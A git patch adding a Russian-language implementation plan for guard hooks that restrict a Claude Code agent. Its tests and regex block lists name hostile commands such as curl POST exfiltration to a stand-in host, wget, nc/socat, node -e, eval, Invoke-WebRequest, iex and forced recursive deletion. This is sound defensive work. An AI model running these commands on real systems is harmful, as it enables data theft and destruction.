From 8ba9a21c9c2619360d5e2742db5a4e355b45f8a7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=94=D0=BC=D0=B8=D1=82=D1=80=D0=B8=D0=B9?= Date: Mon, 8 Jun 2026 07:53:03 +0300 Subject: [PATCH] =?UTF-8?q?docs(m7):=20=D0=BF=D0=BB=D0=B0=D0=BD=20=D1=80?= =?UTF-8?q?=D0=B5=D0=B0=D0=BB=D0=B8=D0=B7=D0=B0=D1=86=D0=B8=D0=B8=20?= =?UTF-8?q?=E2=80=94=20=D0=BC=D0=B0=D1=81=D1=82=D0=B5=D1=80=20(=D1=84?= =?UTF-8?q?=D0=B0=D0=B7=D1=8B=200-8)=20+=20=D0=A4=D0=B0=D0=B7=D0=B0=201=20?= =?UTF-8?q?(content-floor)=20=D0=B4=D0=B5=D1=82=D0=B0=D0=BB=D1=8C=D0=BD?= =?UTF-8?q?=D0=BE?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit writing-plans по поправленной спеке М7. Scope-check: 9 подсистем → dependency-ordered фазы 0-8. Фаза 1 (content-floor V1/V1-PS — критический корень переезда, §10 запрещает увольнять router-gate до неё) в полной bite-sized TDD-детализации (Task 1.0-1.6 с кодом); фазы 0,2-8 scoped, разворачиваются в bite-sized при подходе. Self-review: spec coverage полон, type-consistency проверена. Исполнение — инлайн (субагенты запрещены владельцем). --- .../2026-06-08-router-mentor-machine-7.md | 468 ++++++++++++++++++ 1 file changed, 468 insertions(+) create mode 100644 docs/superpowers/plans/2026-06-08-router-mentor-machine-7.md diff --git a/docs/superpowers/plans/2026-06-08-router-mentor-machine-7.md b/docs/superpowers/plans/2026-06-08-router-mentor-machine-7.md new file mode 100644 index 00000000..90c91a29 --- /dev/null +++ b/docs/superpowers/plans/2026-06-08-router-mentor-machine-7.md @@ -0,0 +1,468 @@ +# Машина 7 — Implementation Plan (мастер + Фаза 1 детально) + +> **For agentic workers:** REQUIRED SUB-SKILL: владелец запретил субагентов/Task/Workflow → исполнять ИНЛАЙН через `superpowers:executing-plans` (batch с чекпойнтами). Steps — checkbox (`- [ ]`). + +**Goal:** Растворить дисциплинарный «зоопарк» v4 в машины М1–М6, сделав дисциплину непробиваемой и атрибутируемой (промис §1 спеки), затем атомарно переехать с зоопарка на М1–М6. + +**Architecture:** М7 — не новый слой, а перенос дисциплины внутрь существующих М1–М6 + закрытие 4 находок критического разбора (content-floor V1/V1-PS, escape-survivability SE-I/L6, журнал-K2 SE-C/SE-K, normative build-loop SE-D). Каждая фаза — самостоятельно тестируемая, TDD RED→GREEN, регрессия ≥ 2843+2 skip. Переезд (Фаза 8) — последним, шаг владельца (settings.json Claude'у закрыт). + +**Tech Stack:** Node ESM (`tools/*.mjs`), vitest (tools-only config), хук-контракт Claude Code (PreToolUse/PostToolUse/Stop/SessionStart), HMAC-подпись (receipt-sign), pure-core + thin-main паттерн. + +**Спец-источник:** `docs/superpowers/specs/2026-06-08-router-mentor-machine-7-design.md` (поправленная, §13 changelog). + +**Квирки исполнения (подтверждены М1–М7):** +- vitest — через **Bash**, ОДНА абсолютная команда: `node "\app\node_modules\vitest\vitest.mjs" run --root "\app" --config "\app\vitest.config.tools.mjs" [фильтр] --reporter dot` +- git — через **PowerShell**, по одной команде, литеральные пути, БЕЗ переменных; коммит `git -C "" commit -F "\.scratch\msg.txt"`; «Can't find lefthook in PATH» — шум. +- worktree junction: пути от родителя «Документация» с префиксом `.claude/worktrees/brainrepo/...`. +- `` = `c:\моя\проекты\портал crm\Документация\.claude\worktrees\brainrepo` + +--- + +## Граф фаз и зависимости + +``` +Фаза 0 fail-CLOSE-карвут + escape-survivability примитивы (тотальные canonicalAction/normalize) + │ (фундамент: на нём стоят все fail-CLOSE дисциплины и живучесть escape) + ▼ +Фаза 1 ✦ content-floor (правило 8, V1/V1-PS) ← КРИТИЧНО, корень переезда + │ (без неё §10 запрещает увольнять router-gate/powershell-gate) + ▼ +Фаза 2 escape-survivability полная (panic-ветка + escape-honor в remaining-стражах, L6) + │ (до big-bang: глюк fail-CLOSE должен быть восстановим) + ▼ +Фаза 3 skill-журналер (PostToolUse) + seed-allow реактивных навыков (SE-K) + │ (журнал-K2 М4 зависит от этого) + ▼ +Фаза 4 поглощение поведенческой дисциплины в М4 (coverage/todowrite/decomposition/ + │ rationalization/self-debrief через журнал-K2 + Гейт-2/Гейт-3) + ▼ +Фаза 5 normative-канал КАРТА/ЗАКОН + build-loop-различитель (Кусок 2, SE-D) + ▼ +Фаза 6 доска «кто на посту» + манифест полного набора М1–М6 (Кусок 3, SE-B) + ▼ +Фаза 7 ИИ-проводка судьи М4 (§8) — обёртка enforce-judge-gate live, ключ/флаг (шаг владельца) + ▼ +Фаза 8 карты покрытия §5 + тест-гейт §9.2 + увольнения §10 + БОЛЬШОЙ ПЕРЕЕЗД §9.3 (владелец) +``` + +**Правило перехода между фазами:** фаза закрыта ТОЛЬКО при зелёной регрессии tools-only ≥ baseline и зелёном per-phase smoke. `audit-context-building` ОБЯЗАТЕЛЕН перед правкой каждого существующего модуля. + +**Каждая фаза 0,2–8 — отдельный детальный bite-sized план** (пишется при подходе через `superpowers:writing-plans`). Ниже — Фаза 1 в полной детализации + scoped-карты остальных. + +--- + +## ФАЗА 1 — Content-floor (правило 8 §4.1, V1/V1-PS) — ДЕТАЛЬНО + +**Зачем:** стена М2 проверяет лишь членство-в-плане, пол М5 — лишь необратимость. Опасное-по-содержанию (произвольное исполнение `node -e`/`bash -c`, install, egress `curl`/`wget`/`nc`, redirect) как шаг плана проскальзывает (V1); PowerShell пол не смотрит вообще (V1-PS, реоткрытие v3.8 F1). Фаза 1 добавляет в пол **content-block класс**, рубящий по содержанию независимо от плана (escape по-прежнему снимает — owner-санкция). + +**Дизайн-решения (locked):** +- Bash content-block regexes живут в `classify-destructive.mjs` (Δ9-б «единый источник правды по разрушительным regex» — не плодим второй модуль для Bash). Новое поле `contentBlock` рядом с `floor`/`suspicious`. +- PowerShell — отдельный модуль `tools/powershell-destructive.mjs` (PS-нативные глаголы НЕ матчат unix-regex). +- `floor-decide.mjs` зовёт content-block ПЕРВЫМ (до проверки необратимости), для Bash и PowerShell; escape снимает блок в обеих ветках. +- Порт из `enforce-router-gate.mjs::BASH_HARD_BLACKLIST` (стр. 45-73) — **полный набор**, минус whitelist-логика (она остаётся в router-gate до его увольнения в Фазе 8; content-block — независимый hard-deny по содержанию). + +### Файловая структура Фазы 1 +- Modify: `tools/classify-destructive.mjs` (+`CONTENT_BLOCK_RE`, +`contentBlock` в выдаче) +- Test: `tools/classify-destructive.test.mjs` (+content-block кейсы) +- Create: `tools/powershell-destructive.mjs` (`psContentBlock`) +- Test: `tools/powershell-destructive.test.mjs` +- Modify: `tools/floor-decide.mjs` (content-block ветка Bash + PowerShell, escapable) +- Test: `tools/floor-decide.test.mjs` (+content-block + escape-bypass кейсы) + +--- + +### Task 1.0: audit-context-building перед правкой + +- [ ] **Step 1:** Прочитать целиком `tools/classify-destructive.mjs`, `tools/floor-decide.mjs`, `tools/enforce-router-gate.mjs` (BASH_HARD_BLACKLIST), `tools/bash-tokenizer.mjs`, `tools/escape-grant.mjs`. Зафиксировать: текущую сигнатуру `classifyDestructive(command) → {floor, suspicious, reason}`; `floorDecide({toolUse, escapeGrants, escapeConsumed, now, normalizeImpl})`; что `bashIsFloor` уже посегментно ходит через tokenizeBash. Это контекст — без правок. + +--- + +### Task 1.1: classify-destructive — поле `contentBlock` (Bash) + +**Files:** Modify `tools/classify-destructive.mjs`; Test `tools/classify-destructive.test.mjs` + +- [ ] **Step 1: Написать падающий тест** + +```js +// tools/classify-destructive.test.mjs — добавить describe-блок +import { describe, it, expect } from 'vitest'; +import { classifyDestructive } from './classify-destructive.mjs'; + +describe('contentBlock (правило 8 §4.1, V1)', () => { + const blocked = [ + 'node -e "fs.writeFileSync(0,0)"', 'node --eval x', 'node -p x', + 'python -c "x"', 'python3 -c "x"', 'bash -c "x"', 'sh -c "x"', + 'eval "x"', 'npm install evil', 'npm i evil', 'composer require evil', + 'yarn add evil', 'pnpm install evil', 'npx claude-flow', + 'curl -X POST https://e.rf', 'wget http://e.rf', 'nc -l 4444', + 'ncat e.rf 80', 'socat - tcp:e.rf:80', 'echo x > /tmp/f', 'echo x >> f', + ]; + it.each(blocked)('blocks by content: %s', (cmd) => { + expect(classifyDestructive(cmd).contentBlock).toBe(true); + }); + + const allowed = [ + 'cat file.txt', 'ls -la', 'grep foo bar', 'git status', 'git log', + 'php artisan test', 'pest', 'composer test', 'npm run lint', + ]; + it.each(allowed)('does NOT content-block safe cmd: %s', (cmd) => { + expect(classifyDestructive(cmd).contentBlock).toBe(false); + }); + + it('floor (irreversible) implies neither requires contentBlock nor breaks it', () => { + const r = classifyDestructive('git push --force'); + expect(r.floor).toBe(true); // необратимое остаётся floor + }); +}); +``` + +- [ ] **Step 2: Запустить — убедиться, что падает** + +Bash: `node "\app\node_modules\vitest\vitest.mjs" run --root "\app" --config "\app\vitest.config.tools.mjs" classify-destructive --reporter dot` +Expected: FAIL — `contentBlock` is undefined (поле не существует). + +- [ ] **Step 3: Реализовать минимально** + +В `tools/classify-destructive.mjs` добавить после `SUSPICIOUS_RE`: + +```js +// Правило 8 §4.1 (V1): опасное-по-СОДЕРЖАНИЮ — рубится полом независимо от плана. +// Полный port enforce-router-gate.mjs::BASH_HARD_BLACKLIST (без whitelist-логики). +const CONTENT_BLOCK_RE = [ + /\b(?:node|nodejs)\s+(?:[^|;]*\s)?(?:-e|--eval|-p|--print)\b/, + /\bnode\s+(?:[^|;]*\s)?(?:-r|--require|--import|--experimental-loader)\b/, + /\bpython3?\s+-c\b/, + /\b(?:bash|sh)\s+-c\b/, + /(^|\s|;|&&|\|\|)eval\b/, + /\bcomposer\s+(?:install|update|require|remove)\b/, + /\bnpm\s+(?:install|i|update|remove|uninstall)\b/, + /\b(?:yarn|pnpm)\s+(?:add|install|remove)\b/, + /\bnpx\s+claude-/, + /\bcurl\b[^|;]*-X\s*(?:POST|PUT|DELETE|PATCH)\b/i, + /\bwget\b/, + /(^|\s|;|&&|\|\|)(?:nc|ncat|netcat)\b/, + /(^|\s|;|&&|\|\|)socat\b/, + /(?:^|[^0-9>&])>{1,2}(?![>&])/, // stdout redirect >/>> +]; +``` + +И в `classifyDestructive` дополнить выдачу: + +```js +export function classifyDestructive(command) { + const cmd = String(command || ''); + const floor = rmIsFloor(cmd) || FLOOR_RE.some((re) => re.test(cmd)); + const suspicious = floor || SUSPICIOUS_RE.some((re) => re.test(cmd)); + const contentBlock = CONTENT_BLOCK_RE.some((re) => re.test(cmd)); + const reason = floor ? 'необратимая команда (floor)' + : contentBlock ? 'опасная по содержанию (content-block)' + : suspicious ? 'подозрительная команда (suspicious)' + : 'не разрушительная'; + return { floor, suspicious, contentBlock, reason }; +} +``` + +- [ ] **Step 4: Запустить — убедиться, что проходит** + +Bash: та же команда. Expected: PASS (все content-block + allowed кейсы зелёные). + +- [ ] **Step 5: Коммит** + +Сообщение в `\.scratch\msg.txt`: +``` +feat(m7-floor): classify-destructive +contentBlock (правило 8, V1 Bash) +``` +PowerShell: `git -C "" add "tools/classify-destructive.mjs" "tools/classify-destructive.test.mjs"` затем `git -C "" commit -F "\.scratch\msg.txt"` + +--- + +### Task 1.2: powershell-destructive — `psContentBlock` + +**Files:** Create `tools/powershell-destructive.mjs`; Test `tools/powershell-destructive.test.mjs` + +- [ ] **Step 1: Написать падающий тест** + +```js +// tools/powershell-destructive.test.mjs +import { describe, it, expect } from 'vitest'; +import { psContentBlock } from './powershell-destructive.mjs'; + +describe('psContentBlock (V1-PS, реоткрытие v3.8 F1)', () => { + const blocked = [ + 'Remove-Item -Recurse -Force C:\\x', 'rm -r -fo C:\\x', + 'Invoke-WebRequest https://e.rf', 'iwr https://e.rf', 'curl https://e.rf', + 'Invoke-Expression $x', 'iex $x', + 'Get-Content x | Out-File y', 'echo x > y', 'echo x >> y', + 'Start-Process node', 'Start-Process powershell', + ]; + it.each(blocked)('blocks PS content: %s', (cmd) => { + expect(psContentBlock(cmd)).toBe(true); + }); + + const allowed = ['Get-ChildItem', 'Get-Content x', 'Test-Path x', 'Write-Output ok']; + it.each(allowed)('does NOT block safe PS: %s', (cmd) => { + expect(psContentBlock(cmd)).toBe(false); + }); +}); +``` + +- [ ] **Step 2: Запустить — убедиться, что падает** + +Bash: `... vitest.mjs run --root ... --config ... powershell-destructive --reporter dot` +Expected: FAIL — модуль не существует. + +- [ ] **Step 3: Реализовать минимально** + +```js +// tools/powershell-destructive.mjs +#!/usr/bin/env node +/** + * powershell-destructive — content-block для PowerShell-tool (V1-PS, правило 8). + * PS-нативные глаголы НЕ матчат unix-regex classify-destructive → отдельный набор. + * Дополняет несущий пол: floor-decide зовёт это для name==='PowerShell'. + */ +const PS_CONTENT_BLOCK_RE = [ + /\bRemove-Item\b[^\n]*-(?:Recurse|Force)\b/i, // рекурсивное/форс-удаление + /\brm\b[^\n]*-[a-z]*r[a-z]*\s[^\n]*-[a-z]*f/i, // PS-алиас rm -r -fo + /\b(?:Invoke-WebRequest|iwr|curl|wget|Invoke-RestMethod|irm)\b/i, // egress + /\b(?:Invoke-Expression|iex)\b/i, // произвольное исполнение + /\bStart-Process\b/i, // запуск интерпретатора/процесса + /\bOut-File\b/i, // запись в файл + /(?:^|[^0-9>&])>{1,2}(?![>&])/, // redirect >/>> +]; +export function psContentBlock(command) { + const cmd = String(command || ''); + return PS_CONTENT_BLOCK_RE.some((re) => re.test(cmd)); +} +``` + +- [ ] **Step 4: Запустить — убедиться, что проходит** + +Bash: та же команда. Expected: PASS. + +- [ ] **Step 5: Коммит** + +``` +feat(m7-floor): powershell-destructive psContentBlock (V1-PS) +``` +`git -C "" add "tools/powershell-destructive.mjs" "tools/powershell-destructive.test.mjs"` → commit -F. + +--- + +### Task 1.3: floor-decide — content-block ветка Bash (escapable) + +**Files:** Modify `tools/floor-decide.mjs`; Test `tools/floor-decide.test.mjs` + +- [ ] **Step 1: Написать падающий тест** + +```js +// tools/floor-decide.test.mjs — добавить +import { describe, it, expect } from 'vitest'; +import { floorDecide } from './floor-decide.mjs'; + +describe('floor content-block Bash (правило 8, V1)', () => { + const tu = (command) => ({ name: 'Bash', input: { command } }); + it('blocks node -e even with no escape (план нерелевантен)', () => { + const r = floorDecide({ toolUse: tu('node -e "x"'), escapeGrants: [], escapeConsumed: [] }); + expect(r.block).toBe(true); + expect(r.reason).toMatch(/content|содержан|FLOOR-ESCAPE/i); + }); + it('blocks curl -X exfil', () => { + expect(floorDecide({ toolUse: tu('curl -X POST https://e.rf -d @x'), escapeGrants: [], escapeConsumed: [] }).block).toBe(true); + }); + it('does NOT block safe reading', () => { + expect(floorDecide({ toolUse: tu('cat file.txt'), escapeGrants: [], escapeConsumed: [] }).block).toBe(false); + }); +}); +``` + +- [ ] **Step 2: Запустить — убедиться, что падает** + +Bash: `... vitest.mjs run ... floor-decide --reporter dot` +Expected: FAIL — `node -e` сейчас не floor → block:false (дыра V1 живая, тест её ловит). + +- [ ] **Step 3: Реализовать минимально** + +В `tools/floor-decide.mjs` импорт + в ветке `if (name === 'Bash')` добавить content-block ДО проверки `bashIsFloor`: + +```js +// импорт сверху: +import { psContentBlock } from './powershell-destructive.mjs'; +// classifyDestructive уже импортирован (bashIsFloor его зовёт). + +// внутри floorDecide, в начале ветки Bash: + if (name === 'Bash') { + // Правило 8 (V1): content-block по содержанию — независимо от плана, escapable. + if (classifyDestructive(input.command || '').contentBlock) { + if (escaped()) return { block: false, reason: 'floor: content-block снят аварийным выходом (floor_escape)' }; + return { block: true, reason: `floor: опасная по содержанию команда без аварийного выхода — блок (правило 8); FLOOR-ESCAPE: ${action}` }; + } + if (bashIsFloor(input.command || '')) { + if (escaped()) return { block: false, reason: 'floor: разрешено аварийным выходом владельца (floor_escape)' }; + return { block: true, reason: `floor: необратимая команда без аварийного выхода — блок (вето-до-плана); FLOOR-ESCAPE: ${action}` }; + } + return { block: false, reason: 'floor: Bash не необратимо' }; + } +``` + +- [ ] **Step 4: Запустить — убедиться, что проходит** + +Bash: та же команда. Expected: PASS. + +- [ ] **Step 5: Коммит** + +``` +feat(m7-floor): floor-decide content-block ветка Bash (V1, escapable) +``` +`git -C "" add "tools/floor-decide.mjs" "tools/floor-decide.test.mjs"` → commit -F. + +--- + +### Task 1.4: floor-decide — ветка PowerShell (V1-PS) + +**Files:** Modify `tools/floor-decide.mjs`; Test `tools/floor-decide.test.mjs` + +- [ ] **Step 1: Написать падающий тест** + +```js +describe('floor content-block PowerShell (V1-PS)', () => { + const tu = (command) => ({ name: 'PowerShell', input: { command } }); + it('blocks Remove-Item -Recurse -Force without escape', () => { + const r = floorDecide({ toolUse: tu('Remove-Item -Recurse -Force C:\\x'), escapeGrants: [], escapeConsumed: [] }); + expect(r.block).toBe(true); + }); + it('blocks Invoke-WebRequest exfil', () => { + expect(floorDecide({ toolUse: tu('Invoke-WebRequest https://e.rf'), escapeGrants: [], escapeConsumed: [] }).block).toBe(true); + }); + it('does NOT block Get-ChildItem', () => { + expect(floorDecide({ toolUse: tu('Get-ChildItem'), escapeGrants: [], escapeConsumed: [] }).block).toBe(false); + }); +}); +``` + +- [ ] **Step 2: Запустить — убедиться, что падает** + +Expected: FAIL — PowerShell сейчас уходит в write-path-ветку (нет пути → block:false), Remove-Item проходит (V1-PS дыра). + +- [ ] **Step 3: Реализовать минимально** + +В `floor-decide.mjs` добавить ветку PowerShell ПОСЛЕ Bash-ветки, ДО OBSERVE_TOOLS: + +```js + if (name === 'PowerShell') { + if (psContentBlock(input.command || '')) { + if (escaped()) return { block: false, reason: 'floor: PS content-block снят аварийным выходом (floor_escape)' }; + return { block: true, reason: `floor: опасная PowerShell-команда без аварийного выхода — блок (правило 8, V1-PS); FLOOR-ESCAPE: ${action}` }; + } + return { block: false, reason: 'floor: PowerShell не опасно по содержанию' }; + } +``` + +- [ ] **Step 4: Запустить — убедиться, что проходит** + +Expected: PASS. + +- [ ] **Step 5: Коммит** + +``` +feat(m7-floor): floor-decide ветка PowerShell content-block (V1-PS) +``` + +--- + +### Task 1.5: Escape снимает content-block (Bash + PS) — инвариант + +**Files:** Test `tools/floor-decide.test.mjs` (+escape-bypass); код уже escapable из 1.3/1.4 — тест фиксирует инвариант. + +- [ ] **Step 1: Написать тест (должен СРАЗУ пройти — код уже escapable; тест защищает инвариант от регресса)** + +```js +import { canonicalAction } from './escape-grant.mjs'; +describe('escape снимает content-block (owner-санкция)', () => { + it('Bash node -e проходит при свежем гранте точного canonicalAction', () => { + const tu = { name: 'Bash', input: { command: 'node -e "x"' } }; + const action = canonicalAction(tu.name, tu.input); + const now = 1_000_000; + const r = floorDecide({ toolUse: tu, escapeGrants: [{ action, ts: now }], escapeConsumed: [], now }); + expect(r.block).toBe(false); + }); + it('PowerShell Remove-Item проходит при гранте', () => { + const tu = { name: 'PowerShell', input: { command: 'Remove-Item -Recurse -Force C:\\x' } }; + const action = canonicalAction(tu.name, tu.input); + const now = 1_000_000; + const r = floorDecide({ toolUse: tu, escapeGrants: [{ action, ts: now }], escapeConsumed: [], now }); + expect(r.block).toBe(false); + }); +}); +``` + +- [ ] **Step 2: Запустить** + +Expected: PASS сразу (escaped() уже в обеих ветках). Если FAIL — canonicalAction для PowerShell даёт иную строку, чем floorDecide вычисляет → проверить, что обе зовут `canonicalAction(name, input)` идентично (floorDecide: `action = canonicalAction(name, input, {normalizeImpl})`). Выровнять. + +- [ ] **Step 3: Коммит** + +``` +test(m7-floor): инвариант escape снимает content-block (Bash+PS) +``` + +--- + +### Task 1.6: Регрессия Фазы 1 + per-phase smoke + +- [ ] **Step 1: Полная регрессия tools-only** + +Bash: `node "\app\node_modules\vitest\vitest.mjs" run --root "\app" --config "\app\vitest.config.tools.mjs" --reporter dot` +Expected: ≥ **2843 passed + 2 skip** + новые content-block тесты (Фаза 1 добавляет ~40). 0 regressions. + +- [ ] **Step 2: Smoke — дыра V1 закрыта** + +Подтвердить в выводе: `floor-decide` тесты «blocks node -e / curl / Remove-Item even with no escape» зелёные; «safe reading НЕ блокируется» зелёные. Это и есть доказательство закрытия V1/V1-PS. + +- [ ] **Step 3: Финальный коммит фазы (если оставались несакоммиченные правки)** + +``` +chore(m7-floor): Фаза 1 закрыта — content-floor V1/V1-PS, регрессия GREEN +``` + +**Acceptance Фазы 1:** опасное-по-содержанию (Bash + PowerShell) рубится полом независимо от плана; safe-reading не over-блокируется; escape снимает; регрессия ≥ baseline. → разблокирует увольнение router-gate/powershell-gate в Фазе 8. + +--- + +## ФАЗЫ 0, 2–8 — scoped (разворачиваются в bite-sized при подходе) + +### Фаза 0 — fail-CLOSE-карвут + escape-survivability примитивы +**Спека:** §4.1 правило 1 + правило 7(а). **Файлы:** `enforce-hook-helpers.mjs` (карвут «дисциплина fail-CLOSE, наблюдение fail-quiet» — уточнить контракт :7 + хелпер `exitDisciplineDecision` с fail-CLOSE-дефолтом), `escape-grant.mjs::canonicalAction` (обернуть `normalizeCommand` в try → тотальность), `path-normalization.mjs` (тотальность). **Acceptance:** тест «дисциплинарный хелпер на ошибке → block (не quiet)»; «canonicalAction на любом мусоре не бросает». **Ключевой риск:** не перевести наблюдательные хуки (observer/cost) в fail-CLOSE — только дисциплинарное подмножество. + +### Фаза 2 — escape-survivability полная (SE-I/L6) +**Спека:** §4.1 правило 7(б,в) + §6 escape-honor. **Файлы:** `enforce-floor.mjs`/`enforce-supreme-gate.mjs` (panic-ветка: escape оценивается до любой бросающей логики — уже почти так в supreme-gate G-1α, проверить ordering), `enforce-read-path-deny.mjs` + `enforce-mcp-classification.mjs` + `enforce-normative-content-rules.mjs` (+чтение escape-гранта `escapeGrantOpen` перед block). **Acceptance:** тест «страж бросает на входе → escape всё равно оценён → escaped-действие проходит»; «escaped-правка ЗАКОНА через normative-content-rules проходит». **Риск:** escape-honor не должен ослаблять стражей для не-escaped действий. + +### Фаза 3 — skill-журналер + seed-allow реактивных навыков (SE-K) +**Спека:** §4.2 + §12. **Файлы:** Create `tools/enforce-skill-journaler.mjs` (PostToolUse на Skill → `journalAppend` op=Skill, object=skill-name, независимо от плана), Modify `enforce-supreme-gate.mjs::SEED_SKILLS` (+`systematic-debugging`/`test-driven-development`/`requesting-code-review`/`verification-before-completion`). **Acceptance:** тест «seed/ad-hoc Skill-вызов → в action-journal → `skillTakenByJournal` его видит». **Риск:** не задвоить запись (если стена тоже журналит plan-step Skill — дедуп по seq/ts). + +### Фаза 4 — поглощение поведенческой дисциплины в М4 +**Спека:** §4.2 таблица (строки coverage/todowrite/decomposition/rationalization/self-debrief/plan/verify). **Файлы:** `judge-gate-floor.mjs` (journal-K2 уже есть `skillTakenByJournal`; добить Гейт-2 план-требование + Гейт-3 verify-привязка), `judge-orchestrator.mjs` (D31 пост-оценщик + halt-counter), новые PreToolUse-обёртки для Pre-дисциплины (todowrite/plan/действие-в-плане), Stop-обёртки для Stop-дисциплины (decomposition/rationalization). **Acceptance:** per-строка §4.2 — тест что дисциплина ловится журнал-фактом, не текстом; `[Pre]` строго PreToolUse. **Риск:** самый большой объём; разнести на под-фазы 4a (Pre) / 4b (Stop) / 4c (Гейты). + +### Фаза 5 — normative-канал КАРТА/ЗАКОН + build-loop (SE-D) +**Спека:** §6. **Файлы:** Create `tools/normative-classifier.mjs` (детерминированный КАРТА/ЗАКОН по пути+содержимому; build-loop-различитель через `actionMatchesStep` против замороженного плана), интеграция в `enforce-normative-content-rules.mjs` (ЗАКОН без плана-покрытия → требовать escape). **Acceptance:** тест «правка enforce-*.mjs под план-шагом → КАРТА (не escape)»; «ad-hoc правка enforce-*.mjs → ЗАКОН (escape)»; «правка Pravila → ЗАКОН». **Риск:** граница содержимого (секция правил в произвольном файле) — консервативно: сомнение → ЗАКОН. + +### Фаза 6 — доска + манифест (SE-B) +**Спека:** §7. **Файлы:** `floor-manifest-check.mjs::DEFAULT_REQUIRED_HOOKS` (+`enforce-judge-gate`/`enforce-snapshot`/`enforce-floor-escape-consume`/`enforce-skill-journaler`), `status-md-generator` / observer (секция «кто на посту» + режим судьи inert/shadow/live-block). **Acceptance:** тест «снят М4/М6-хук → манифест cry»; «доска показывает режим судьи». **Риск:** доска read-only, не блокирует. + +### Фаза 7 — ИИ-проводка судьи М4 (§8) +**Спека:** §8. **Файлы:** `enforce-judge-gate.mjs` (live main вместо инертного, гейт флаг+ключ), `judge-key-config.mjs` (OS-keychain). **Шаг владельца:** env-флаг + ключ + регистрация. **Acceptance:** при выкл — $0 (тест decide inactive→block:false); при вкл-shadow — логирует не блокирует; live-block отдельным шагом. **Риск:** over-block (урок L4) — D28 тихий период рекомендован. + +### Фаза 8 — карты покрытия §5 + тест-гейт §9.2 + увольнения §10 + ПЕРЕЕЗД §9.3 +**Спека:** §5/§9/§10. **Действия:** построить per-страж карты покрытия (артефакты-доказательства); прогнать тест-гейт §9.2 (регрессия ≥ baseline + per-machine smokes + интеграционные: escape сквозной / манифест кричит / закон требует ключ / журнал-факт не обходится текстом); **владелец** атомарно регистрирует М1–М6 + снимает зоопарк в settings.json; откат §9.4 наготове. **Acceptance:** все пункты тест-гейта зелёные ПО КАЖДОМУ — иначе переезд не делаем. **Риск:** big-bang (принят владельцем) — митигация тест-гейт + откат + опц. тихий период. + +--- + +## Self-Review (по чеклисту writing-plans) + +**1. Spec coverage:** §1 промис → Фазы 1/2/7 (П1/П2/П3) ✓; §4.1 правила 1-8 → Фазы 0(1,7)/1(8)/2(7)/3-4(2-6) ✓; §4.2 таблица → Фаза 4 ✓; §5 карты → Фаза 8 ✓; §6 normative → Фаза 5 ✓; §7 доска → Фаза 6 ✓; §8 судья → Фаза 7 ✓; §9 переезд → Фаза 8 ✓; §10 увольнения → Фаза 8 (после Фазы 1) ✓; §12 инвентарь → распределён по фазам ✓; §13 closures → V1 Фаза1 / SE-I+L6 Фаза2 / SE-C+SE-K Фаза3-4 / SE-D Фаза5 / SE-A Фаза4 / SE-B Фаза6 ✓. + +**2. Placeholder scan:** Фаза 1 — полный код в каждом шаге, без TBD ✓. Фазы 0,2-8 — осознанно scoped (scope-check скила: per-subsystem планы), не placeholder, а явная декомпозиция; каждая разворачивается в bite-sized при подходе. + +**3. Type consistency:** `classifyDestructive(cmd) → {floor, suspicious, contentBlock, reason}` (1.1) используется в `floor-decide` (1.3) консистентно; `psContentBlock(cmd)→bool` (1.2) в floor-decide PowerShell-ветке (1.4); `canonicalAction(name,input)` идентично в escape-grant и floor-decide (1.5). ✓ + +**Известное допущение для исполнителя:** регексы content-block — порт из `BASH_HARD_BLACKLIST`; при увольнении router-gate (Фаза 8) `classify-destructive::CONTENT_BLOCK_RE` становится единственным домом этих правил.